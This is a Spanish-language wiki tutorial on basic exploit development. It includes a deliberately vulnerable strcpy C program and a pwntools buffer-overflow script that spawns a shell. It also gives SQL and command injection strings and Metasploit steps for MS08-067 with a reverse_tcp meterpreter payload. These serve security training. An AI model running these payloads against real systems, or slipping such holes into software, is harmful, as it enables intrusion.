[[hack_roadmap-0|Up]]
====== Desarrollo de Exploits Básicos ======
El desarrollo de exploits es una habilidad esencial para un profesional en
seguridad informática y pentester. Los exploits son programas o scripts que
aprovechan vulnerabilidades en software o sistemas para ejecutar acciones no
autorizadas, como ejecutar comandos arbitrarios o acceder a información
sensible. Aquí desarrollaremos los fundamentos del desarrollo de exploits
básicos.
===== Introducción al Desarrollo de Exploits =====
==== Conceptos Clave: ====
* **Exploit:** Código diseñado para aprovechar una vulnerabilidad.
* **Vulnerabilidad:** Debilidad en un sistema o software que puede ser explotada.
* **Payload:** Código que se ejecuta una vez que la vulnerabilidad ha sido explotada.
* **Buffer Overflow:** Tipo común de vulnerabilidad donde se sobreescribe la memoria adyacente.
==== Recursos: ====
* [[https://owasp.org/www-project-web-security-testing-guide/|OWASP Testing Guide]]
* [[https://www.exploit-db.com/|Exploit Database]]
===== Entendiendo las Vulnerabilidades =====
==== Identificación de Vulnerabilidades: ====
Utilizar herramientas como **Nmap**, **OpenVAS**, y **Nessus** para escanear y
encontrar vulnerabilidades en el sistema.
nmap -sV --script vuln
==== Tipos Comunes de Vulnerabilidades: ====
* **Buffer Overflow**
* **Format String Vulnerabilities**
* **Command Injection**
* **SQL Injection**
* **Cross-Site Scripting (XSS)**
==== Recursos: ====
* [[https://nmap.org/book/nse.html|Nmap Scripting Engine (NSE)]]
===== Análisis de Buffer Overflow =====
==== Concepto de Buffer Overflow: ====
Ocurre cuando más datos de los esperados se escriben en un búfer,
sobreescribiendo la memoria adyacente.
==== Ejemplo de Código Vulnerable: ====
#include
#include
void vulnerable_function(char *str) {
char buffer[64];
strcpy(buffer, str); // Vulnerable to buffer overflow
}
int main(int argc, char *argv[]) {
if (argc > 1) {
vulnerable_function(argv[1]);
}
return 0;
}
==== Explotación Básica de Buffer Overflow: ====
Enviar datos más largos de lo esperado para sobreescribir la memoria y
controlar el flujo del programa.
==== Recursos: ====
* [[https://www.acunetix.com/blog/articles/buffer-overflow-attacks/|Buffer Overflow Explained]]
===== Desarrollo de Exploits para Buffer Overflow =====
==== Preparación del Entorno: ====
* Utilizar una máquina virtual o entorno controlado para pruebas.
* Herramientas: **GDB (GNU Debugger)**, **pwntools** (para Python).
==== Encontrar el Offset: ====
Identificar cuántos bytes son necesarios para sobrescribir la EIP (Instruction
Pointer).
gdb -q ./vulnerable_program
(gdb) run $(python -c "print('A'*100)")
==== Sobrescribir la EIP: ====
Una vez encontrado el offset, sobrescribir la EIP con la dirección de nuestro
payload.
offset = 64
eip = "\xef\xbe\xad\xde" # Dirección de prueba
payload = "A" * offset + eip
==== Inyección de Payload: ====
Crear un payload que ejecute un comando específico o abra una shell reversa.
from pwn import *
p = process('./vulnerable_program')
payload = "A" * offset + p32(0xdeadbeef) + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
==== Recursos: ====
* [[https://docs.pwntools.com/en/stable/|Pwntools Documentation]]
* [[https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf|GDB Cheat Sheet]]
===== Desarrollo de Exploits para Vulnerabilidades Web =====
==== SQL Injection: ====
Explotar una inyección SQL básica para acceder a datos no autorizados.
' OR '1'='1
==== Cross-Site Scripting (XSS): ====
Inyectar código JavaScript en una página web vulnerable.
==== Command Injection: ====
Ejecutar comandos arbitrarios en un servidor vulnerable.
; ls -la;
==== Recursos: ====
* [[https://owasp.org/www-community/attacks/SQL_Injection|OWASP SQL Injection]]
* [[https://owasp.org/www-community/attacks/xss/|OWASP XSS]]
* [[https://owasp.org/www-community/attacks/Command_Injection|Command Injection]]
===== Utilización de Metasploit Framework =====
==== Introducción a Metasploit: ====
* Herramienta poderosa para el desarrollo y uso de exploits.
* Modulo de exploit, payload y post-exploit.
==== Ejemplo de Uso: ====
msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOST
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST
exploit
==== Recursos: ====
* [[https://www.offensive-security.com/metasploit-unleashed/|Metasploit Unleashed]]
====== Conclusión ======
El desarrollo de exploits básicos es una habilidad fundamental en el campo de la
seguridad informática. Comprender cómo identificar y explotar vulnerabilidades,
desde buffer overflows hasta inyecciones SQL y XSS, es esencial para evaluar y
mejorar la seguridad de los sistemas. A través del uso de herramientas y
técnicas adecuadas, se puede realizar un análisis profundo y detallado de las
vulnerabilidades presentes en aplicaciones y sistemas, fortaleciendo así la
postura de seguridad general de una organización.
===== Recursos Adicionales =====
* [[https://www.exploit-db.com/docs/english/28476-exploit-writing-tutorial-part-1-stack-based-overflows.pdf|Exploit Development]] (Exploit DB)